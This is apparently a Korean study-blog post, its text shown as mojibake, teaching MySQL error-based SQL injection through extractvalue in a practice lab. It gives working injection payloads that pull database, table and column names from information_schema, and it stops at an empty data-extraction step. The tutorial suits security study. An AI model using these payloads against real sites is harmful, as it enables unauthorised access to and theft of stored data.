Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””/๋ชจ์˜ ํ•ดํ‚น - ๊ธฐ๋ก์ผ์ง€

[๊ธฐ๋ก์ผ์ง€] ๐Ÿ“š 07์ฃผ์ฐจ (๐Ÿ’‰SQL Injection - Error Based/Blind)

Gearvirus(junyup2) 2023. 12. 7. 15:58

Error Based Sqli


SQL ์งˆ์˜ ๊ฒฐ๊ณผ๊ฐ€ ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ์— UNION SQLi๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ์•„๋‹Œ ์—๋Ÿฌ(Error) ๋ฉ”์‹œ์ง€๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ์—๋Š” ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ• ๊นŒ?

์ด๋•Œ ์šฐ๋ฆฌ๋Š” Error Based SQLi๋ฅผ ์ƒ๊ฐํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค. ์ฟผ๋ฆฌ์˜ ์‹ค์งˆ์ ์ธ ๊ฒฐ๊ณผ๋Š” ์ถœ๋ ฅ๋˜๊ณ  ์žˆ์ง€ ์•Š์ง€๋งŒ ์˜ค๋ฅ˜๊ฐ€ ๋‚ฌ์„ ๊ฒฝ์šฐ์— ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

๊ทธ๋Ÿผ ์–ด๋–ค ๊ฒฝ์šฐ์— Error Based SQLi๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์ƒ๊ฐํ•ด๋ณด์ž!

๋‹น์—ฐํ•˜๊ฒŒ๋„ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ํ™œ์šฉํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๊ธฐ ๋•Œ๋ฌธ์—, ์šฐ์„  ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ณณ์ด์—ฌ์•ผ ํ•œ๋‹ค.


Error ?!

์—๋Ÿฌ(Error) ... ์—๋Ÿฌ์˜ ์ข…๋ฅ˜๋Š” ๋‹ค์–‘ํ•˜๋‹ค. ๊ทธ๋Ÿผ Error Based๋Š” ๋ชจ๋“  ์—๋Ÿฌ์— ๋Œ€ํ•˜์—ฌ ํ™œ์šฉ์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์ธ๊ฐ€?

์•„๋‹ˆ๋‹ค.! ๊ทธ๋ ‡์ง€ ์•Š๋‹ค.!

์—๋Ÿฌ์—๋„ ์˜๋ฏธ์žˆ๋Š” ์—๋Ÿฌ๊ฐ€ ์žˆ๊ณ , ์˜๋ฏธ์—†๋Š”(์“ธ๋ชจ์—†๋Š”)์—๋Ÿฌ๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์šฐ๋ฆฌ๋Š” ์ธ์ง€ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

 

Syntax Error vs Logic Error

์šฐ๋ฆฌ๋Š” ์šฐ์„ ์ ์œผ๋กœ ๋ฌธ๋ฒ• ์—๋Ÿฌ(Syntax Error)์™€ ๋กœ์ง ์—๋Ÿฌ(Logic Error)์— ๋Œ€ํ•˜์—ฌ ์ƒ๊ฐํ•ด ๋ด์•ผํ•œ๋‹ค.

SQL์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ณผ์ •์—์„œ DB๋Š” SQL ์งˆ์˜๋ฌธ(Query) ๋ฐ›์•„์„œ ๊ฒ€์‚ฌํ•˜๊ณ , ์ˆ˜ํ–‰ํ•œ๋‹ค. ์ด ๊ณผ์ •์—์„œ ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•œ(์›ํ•˜๋Š”) SELECT ๋ฌธ์ด ์‹คํ–‰๋˜์–ด์•ผ ํ•œ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ? ๋งŒ์•ฝ, ๋ฌธ๋ฒ• ์—๋Ÿฌ(SQL Syntax Error)๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ(์ž‘์„ฑํ•œ SQL์˜ ๋ฌธ๋ฒ•์ด ํ‹€๋ฆฐ ๊ฒฝ์šฐ) ์‹คํ–‰ ์ž์ฒด๊ฐ€ ๋˜์ง€ ์•Š๋Š”๋‹ค. SQL์ด ์‹คํ–‰ ๋˜๊ธฐ๋„ ์ „์— ์—๋Ÿฌ๊ฐ€ ๋‚˜๋ฒ„๋ฆฐ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ ์˜๋ฏธ๊ฐ€ ์—†๋Š” ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์จ๋จน์„ ์ˆ˜ ์—†๋‹ค.

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” ๋กœ์ง ์—๋Ÿฌ๋ฅผ ์ด์šฉํ•ด์•ผ ํ•œ๋‹ค.

๋ฌธ๋ฒ•์ ์œผ๋กœ๋Š” ๋ฌธ์ œ๊ฐ€ ์—†์ง€๋งŒ ์‹คํ–‰ํ•˜๋Š”๋ฐ ์žˆ์–ด์„œ ๋ฌธ์ œ(์—๋Ÿฌ)๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๋ฅผ ๋งํ•œ๋‹ค. ํ•˜์ง€๋งŒ, ๋กœ์ง ์—๋Ÿฌ๋ผ๊ณ  ํ•ด์„œ ๋ชจ๋‘ ํ™œ์šฉ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์€ ์•„๋‹ˆ๋‹ค. ์ฝ”๋“œ์˜ ์–ด๋””์—์„œ๋“  ๋ฐœ์ƒํ•˜๋Š” ๋กœ์ง ์—๋Ÿฌ๊ฐ€ ๋ชจ๋‘ ์˜๋ฏธ ์žˆ๋Š” ๊ฒƒ์€ ์•„๋‹ˆ๋ผ๋Š” ๊ฒƒ์ด๋‹ค.

SQL ์—๋Ÿฌ์—ฌ์•ผ๋งŒ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.

์ฆ‰ ์ฝ”๋“œ(Code)๋ฅผ ์ปดํŒŒ์ผ(Complie)ํ•˜๊ณ  ์‹คํ–‰(Execute)ํ•˜๋Š” ๊ณผ์ •์—์„œ ๋ฐœ์ƒ ๊ฐ€๋Šฅํ•œ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ์—๋Ÿฌ๋“ค ์ค‘์—์„œ ์„œ๋ฒ„์ธก ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰ํ•˜๋‹ค ๋ฐœ์ƒํ•˜๋Š” ์—๋Ÿฌ๋“ค์ด ์•„๋‹Œ, SQL ์ˆ˜ํ–‰์ค‘์— ๋ฐœ์ƒํ•˜๋Š” SQL Logic Error ๊ฐ€ ๋ฐœ์ƒํ•œ ๊ฒฝ์šฐ์— ์šฐ๋ฆฌ๋Š” Error Based SQLi๋ฅผ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

Error Based SQLi์—์„œ๋Š” SQL ์ˆ˜ํ–‰ ์ค‘์— ๋ฌธ์ œ๋ฅผ ์ผ์œผ์ผœ ๋ฐœ์ƒํ•œ ์—๋Ÿฌ์ธ SQL Logic Error์— ์˜๋ฏธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.


Error๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๋ฐฉ๋ฒ•

Error Based SQL Injection์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์—๋Ÿฌ๋ฅผ ์˜๋„์ ์œผ๋กœ ๋งŒ๋“ค์–ด๋‚ผ ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ์šฐ๋ฆฌ๋Š” ์—๋Ÿฌ๋ฅผ ์–ด๋–ป๊ฒŒํ•˜๋ฉด ๋ฐœ์ƒ ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š”๊ฐ€?! ์— ๋Œ€ํ•˜์—ฌ ์ƒ๊ฐํ•ด ๋ณด์•„์•ผํ•œ๋‹ค.

Logic Error๋ฅผ ์œ ๋ฐœํ•˜๋Š” ๋ฐฉ๋ฒ•์€ MySQL, Oracle, MsSQL ๋“ฑ๋“ฑ DB๋งˆ๋‹ค ๋‹ค๋ฅด๋‹ค. ์ด๋Š” ๋”ฐ๋กœ ์ •๋ฆฌํ•  ํ•„์š”๊ฐ€ ์žˆ์ง€๋งŒ, ์šฐ์„  MySQL๋ฅผ ํ™œ์šฉํ•˜์—ฌ ์›น ๊ฐœ๋ฐœ์„ ์ง„ํ–‰ ์ค‘์ด๊ธฐ ๋•Œ๋ฌธ์— ์ด์— ๋Œ€ํ•˜์—ฌ ์‚ดํŽด๋ณผ ๊ฒƒ์ด๋‹ค.

 

ExtractValue ํ•จ์ˆ˜

MySQL์˜ extractvalue ํ•จ์ˆ˜๋Š” ๋‘๊ฐœ์˜ ํŒŒ๋ผ๋ฏธํ„ฐ(params) xml ๋ฐ์ดํ„ฐ, xml ํ‘œํ˜„์‹์„ ์ธ์ž๋กœ ํ•˜๋Š” ํ•จ์ˆ˜๋กœ xml ๋ฐ์ดํ„ฐ์—์„œ ์–ด๋–ค ํŠน์ •ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค.

extractvalue(xml data, XPATH expression)

์ฆ‰ ์ฒซ๋ฒˆ์งธ ์ธ์ž๋กœ ์ฃผ์–ด์ง„ ๋ฐ์ดํ„ฐ์—์„œ ๋‘๋ฒˆ์งธ ์ธ์ž๋กœ ์ฃผ์–ด์ง„ ๊ฐ’์„ ์ฐพ์•„ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

์ด๋•Œ ์ฒซ๋ฒˆ์งธ ์ธ์ž๊ฐ€ ์•„๋‹ˆ๊ณ  ๋‘๋ฒˆ์งธ ์ธ์ž์— ์ ์ ˆํ•˜์ง€ ์•Š์€ ๊ฐ’์ด ๋“ค์–ด๊ฐ„๋‹ค๋ฉด? ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

(์•„๋ฌด ์—๋Ÿฌ๊ฐ€ ์•„๋‹Œ Xpath ํ‘œํ˜„์‹ ์—๋Ÿฌ๋ฅผ ์œ ๋ฐœ ํ•ด์•ผํ•œ๋‹ค.)

ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr ์ธ์ˆ˜์˜ ๊ฐ’'

์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๋‘๋ฒˆ์งธ ์ธ์ž์— ๊ทœ์น™์— ์–ด๊ธ‹๋‚œ ๊ฐ’์„ ์‚ฝ์ž…ํ•˜์—ฌ ์˜๋„์ ์œผ๋กœ ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ณ , ์ด๋ฅผ ํ™œ์šฉํ•  ๊ฒƒ์ด๋‹ค.

XPATH expression ๊ทœ์น™์— ์–ด๊ธ‹๋‚˜๋Š” ๊ฐ’

@๋Š” ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๊ทธ ์™ธ์˜ ํŠน์ˆ˜๋ฌธ์ž๋“ค์€ ์•ˆ๋œ๋‹ค.
์ผ๋ฐ˜์ ์œผ๋กœ 0x3a ์ฆ‰ ' ์ฝœ๋ก (:) ' ์„ ์ด์šฉํ•œ๋‹ค.

 

ExtractValue ํ™œ์šฉ

๊ทธ๋ ‡๋‹ค๋ฉด extractvalue๋ฅผ ์–ด๋–ค์‹์œผ๋กœ ํ™œ์šฉํ•˜๋ฉด ๋ ๊นŒ?

์šฐ๋ฆฌ๋Š” ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ํ™œ์šฉํ•ด์„œ SQL ์งˆ์˜๋ฌธ์„ ์‚ฝ์ž…ํ•˜๊ณ , ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•œ๋‹ค. 

๊ทธ๋Ÿฌ๋ฏ€๋กœ (SELECT ~ )์™€ ๊ฐ™์ด SELECT ๋ฌธ์˜ ๊ฒฐ๊ณผ๋ฅผ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ํฌํ•จ์‹œ์ผœ์•ผ ํ•œ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด SELECT ๋ฌธ์˜ ๊ฒฐ๊ณผ๋ฅผ ์–ด๋–ป๊ฒŒ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ํฌํ•จ์‹œํ‚ฌ๊นŒ?

์šฐ์„  ์•„๋ž˜์™€ ๊ฐ™์ด extractvalue('xml ๊ธ€์ž', 'xml ํ‘œํ˜„์‹')๋ฅผ ์ด์šฉํ•œ ๊ฒฝ์šฐ๋ฅผ ์ƒ๊ฐํ•ด๋ณด์ž.

'and extractvalue('1',':gear')

์ด ๊ฒฝ์šฐ์—๋Š” ' ๊ฐ€ ํ•˜๋‚˜ ๋น„๊ธฐ ๋•Œ๋ฌธ์— ๋ฌธ๋ฒ• ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

'and extractvalue('1',':gear') and '1'='1

์œ„์™€ ๊ฐ™์ด '๋ฅผ ๋งž์ถฐ ์ฃผ์—ˆ์ง€๋งŒ ์ฝœ๋ก (:)์„ ๊ทธ๋ƒฅ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค. 

๊ทธ ์ด์œ ๋Š” ์ฝœ๋ก (:)์„ ๊ทธ๋ƒฅ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ๊ทธ๋Œ€๋กœ ์ž…๋ ฅ๋˜์ง€ ์•Š์•„์„œ ์—๋Ÿฌ๋ฅผ ์œ ๋ฐœํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ์ฝœ๋ก ( :)์ด ์ œ๋Œ€๋กœ ์ธ์‹ํ•˜๊ฒŒ ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” concat์„ ์ด์šฉํ•œ๋‹ค.

 

Concat ํ•จ์ˆ˜ ํ™œ์šฉ

gear' and extractvalue('1',concat(0x3a, (select 'gear'))) and '1'='1 

concat ์€ ๋‘ ์ธ์ž๋ฅผ ๋ถ™์—ฌ์ฃผ๋Š” ํ•จ์ˆ˜์ด๋‹ค. ๊ทธ๋ž˜์„œ ์œ„์˜ ๊ฒฐ๊ณผ์˜ ๊ฒฝ์šฐ concat(0x3a, (select 'gear')) ์—์„œ 0x3a๋Š” : ์ด๊ธฐ ๋•Œ๋ฌธ์— ':gear' ๊ฐ€ ๋˜๊ฒŒ ๋œ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ด๋•Œ ์ฝœ๋ก (:)์€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒ์‹œํ‚ค๊ฒŒ ๋˜๊ณ , ์•„๋ž˜์™€ ๊ฐ™์€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

XPATH syntax error ':gear'

์—ฌ๊ธฐ์„œ ์ฃผ์˜ํ•  ์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

concat์„ ์ด์šฉํ•œ๋‹ค๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋ฉด ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.

concat( :, 'gear')

๋ฌผ๋ก  ์ž˜ ์ด์–ด ๋ถ™์—ฌ์ ธ์„œ :gear์ด ๋˜์ง€๋งŒ ์ด๋•Œ์˜ ์ฝœ๋ก (:)์€ ๊ทธ๋Œ€๋กœ ์ž…๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ์ฝœ๋ก (:)์„ 0x3a๋กœ ์ž…๋ ฅํ•ด์ฃผ๋Š” ๊ฒƒ์ด๋‹ค.

๊ฒฐ๋ก ์ ์œผ๋กœ ์ด๋ฅผ ํ†ตํ•ด ์ฝœ๋ก (:) ๋’ท๋ถ€๋ถ„์— ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์— ๋Œ€ํ•œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. 

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” Error Based SQLi๋ฅผ ํ™œ์šฉํ•˜๊ธฐ ์œ„ํ•ด ์šฐ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•œ๋‹ค.

gear' and extractvalue('1',concat(0x3a, (select ~~))) and '1'='1

์ด์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋ฉด SELECT๋ฌธ์€ SQL ์งˆ์˜(Query)๋กœ์„œ ์ •์ƒ์ ์œผ๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๊ณ , ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•œ ํŠน์ˆ˜๋ฌธ์ž (:)๋ฅผ SELECT๋ฌธ์— ๋ถ™์—ฌ์ฃผ์–ด ํ•ด๋‹น ์—๋Ÿฌ์˜ ๊ฒฐ๊ณผ๋ฅผ ํ™”๋ฉด์—์„œ ๋ณผ ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

SELECT๋ฌธ์— '์ ์ ˆํ•œ ๊ณต๊ฒฉ format'์„ ์ž…๋ ฅํ•œ๋‹ค๋ฉด ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.


Error Based SQLi Process

06์ฃผ์ฐจ์— ์ง„ํ–‰ํ•œ UNION SQLi์˜ ๊ณผ์ •๊ณผ ๋ณ„๋ฐ˜ ๋‹ค๋ฅด์ง€ ์•Š๋‹ค. ์‚ฌ์šฉํ•˜๋Š” ๊ณต๊ฒฉ format์ด ๋‹ค๋ฅผ ๋ฟ์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ Error Based SQL Injection ๋˜ํ•œ ์ •ํ•ด์ง„ ์ˆœ์„œ๋Œ€๋กœ๋งŒ ๋”ฐ๋ผ๊ฐ€๋ฉด ๋˜๋Š” Process๊ฐ€ ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

(๊ทธ์ € ๋ฌด์กฐ๊ฑด! ๋”ฐ๋ผ์ฃผ๊ธฐ๋งŒ ํ•˜๋ฉด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.)

Error Based SQL Injection Process

1. SQL Injection ํฌ์ธํŠธ ์ฐพ๊ธฐ (๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํ™•์ธํ•˜๊ธฐ) - Data ์ถœ๋ ฅ ํ™•์ธ 
2. ์—๋Ÿฌ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ DB์˜ ์ข…๋ฅ˜์— ๋งž์ถฐ ํ™•์ธํ•˜๊ธฐ - Error ๋ฐœ์ƒ ํ•จ์ˆ˜ TEST
3. ๊ณต๊ฒฉ format ๋งŒ๋“ค๊ธฐ
4. DB ์ด๋ฆ„ ํ™•์ธ
5. Table ์ด๋ฆ„ ํ™•์ธ
6. Column ์ด๋ฆ„ ํ™•์ธ
7. Data ์ถ”์ถœ

 

[1] SQL Injection Point ์ฐพ๊ธฐ

SQL Injection ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€๋ถ€ํ„ฐ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

x' and '1'='1 

x' and '1'-'1 ์„ ์ž…๋ ฅํ•˜์—ฌ SQL์‚ฝ์ž…์ด ์ผ์–ด๋‚ฌ์Œ์—๋„ ์ •์ƒ์ ์œผ๋กœ Query๊ฐ€ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

๊ทธ ๋‹ค์Œ์œผ๋กœ ์šฐ๋ฆฌ๋Š” Error Based๋ฅผ ํ™œ์šฉํ•˜๊ธฐ์œ„ํ•ด x' ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š”์ง€ ํ™•์ธ ํ•ด๋ณธ๋‹ค.

x'

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๋ฉด '์˜ ๊ฐœ์ˆ˜๊ฐ€ ๋งž์ง€ ์•Š์•„์„œ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ์—๋Ÿฌ๊ฐ€ ํ™”๋ฉด์— ์ถœ๋ ฅ๋œ๋‹ค๋ฉด ์šฐ๋ฆฌ๋Š” Error Based๋ฅผ ํ™œ์šฉํ•ด๋ด์•ผ ํ•œ๋‹ค๋Š” ์ƒ๊ฐ์„ ํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

[2] Error๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํ•จ์ˆ˜

์šฐ๋ฆฌ๋Š” ์—๋Ÿฌ๋ฅผ ๋‚ด๊ธฐ ์œ„ํ•ด์„œ ์—๋Ÿฌ(Error)๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ํ•จ์ˆ˜์— ๋Œ€ํ•˜์—ฌ ํ™•์ธํ•ด๋ด์•ผ ํ•œ๋‹ค. ์ด๋Š” DB ๋ณ„๋กœ ๋‹ค๋ฅด๋ฏ€๋กœ ์–ด๋–ค DB๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์ด์— ๋งž์ถฐ ์ฐพ์•„์„œ ์‚ฌ์šฉํ•˜๋ฉด๋œ๋‹ค.

์šฐ์„  MySQL์—์„œ๋Š” extractvalue๋ฅผ ํ™œ์šฉํ•˜๊ณ , ์—ฌ๊ธฐ์„œ๋Š” ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์ง„ํ–‰ํ•  ๊ฒƒ์ด๋‹ค.

 

[3] ๊ณต๊ฒฉ Format ๋งŒ๋“ค๊ธฐ.

x' and extractvalue('1',concat(0x3a,(______))) and '1'='1
ํ•ญ์ƒ ๊ณต๊ฒฉ Format ์„ ์šฐ์„ ์ ์œผ๋กœ ๋งŒ๋“ค์–ด๋‘๊ณ  ํ•ด์•ผ ์“ธ๋ฐ์—†์ด ์˜คํƒ€๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ์—๋Ÿฌ๋“ค์„ ๋ฐœ์ƒ์‹œํ‚ค์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค.

 

์ด์ œ ์šฐ๋ฆฌ๋Š” ํ•ด๋‹น ๋นˆ์นธ์— SQL์‚ฝ์ž…์„ ํ†ตํ•ด ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•œ SELECT๋ฌธ์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋œ๋‹ค.

 

[4] DB ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

DB ์ด๋ฆ„์„ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ select ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค.

select database()

๊ทธ๋Ÿผ ์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์— ๋„ฃ์–ด์ค€๋‹ค.

x' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1

๊ทธ๋Ÿผ ์—๋Ÿฌ๊ฒฐ๊ณผ์— ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค์˜ ์ด๋ฆ„์ด ์ถœ๋ ฅ๋  ๊ฒƒ์ด๋‹ค.

ex) XPATH syntax error: ':segfault_sql'

 

[5] Table ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

Table ์ด๋ฆ„์„ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด์„œ ์šฐ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ select ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉํ•œ๋‹ค.

select table_name from information_schema.tables where table_schema = 'segfault_sql'

์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์— ๋„ฃ์–ด์ค€๋‹ค.

x' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'segfault_sql'))) and '1'='1

์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๋Š” ์•„๋ž˜์™€ ๊ฐ™์€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๋ฅผ ์ƒ๊ฐํ•ด ๋ด์•ผํ•œ๋‹ค.

Subquery returns more than 1 row

์•„... ์—ฌ๋Ÿฌ ํ–‰์ด ๋‚˜์˜ค๊ณ  ์žˆ๊ตฌ๋‚˜! ,limit์„ ์ด์šฉํ•˜์—ฌ ํ•œ์ค„๋งŒ์„ ์ถœ๋ ฅํ•˜์ž!

select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0,1

์œ„์™€ ๊ฐ™์ด limit 0,1์„ ๋„ฃ์–ด์ฃผ์–ด rows -> row๋กœ ํ•˜๋‚˜์˜ ํ–‰๋งŒ์„ ๋‚˜์˜ค๊ฒŒ ํ•ด์ฃผ๋Š” select ๊ตฌ๋ฌธ์„ ๋ฐ”๊ฟ”์ฃผ๊ณ  ์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์— ๋„ฃ์–ด์ค€๋‹ค.

x' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'segfault_sql' limit 0,1))) and '1'='1

๊ทธ๋Ÿผ ์šฐ๋ฆฌ๋Š” Table์˜ ์ด๋ฆ„๋“ค์„ ํ™•์ธํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

SELECT command denied to user 'errSqli'@'localhost' for table 'tables'

์œ„์™€ ๊ฐ™์€ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์ด ์—†๋Š” ํ…Œ์ด๋ธ”์— ์ ‘๊ทผํ•˜๋Š” ๊ฒฝ์šฐ์ด๋‹ค.

 

[6] Column ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

Column์˜ ์ด๋ฆ„์„ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด์„œ ์šฐ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ select ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉํ•œ๋‹ค.

select column_name from information_schema.columns where table_name = 'secret' limit 0,1

์ด๋ฅผ ๊ณต๊ฒฉ ํฌ๋งท์— ๋„ฃ์–ด์ค€๋‹ค.

x' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = '
secret' limit 0,1))) and '1'='1

 

[7] ๋ฐ์ดํ„ฐ ์ถœ๋ ฅํ•˜๊ธฐ

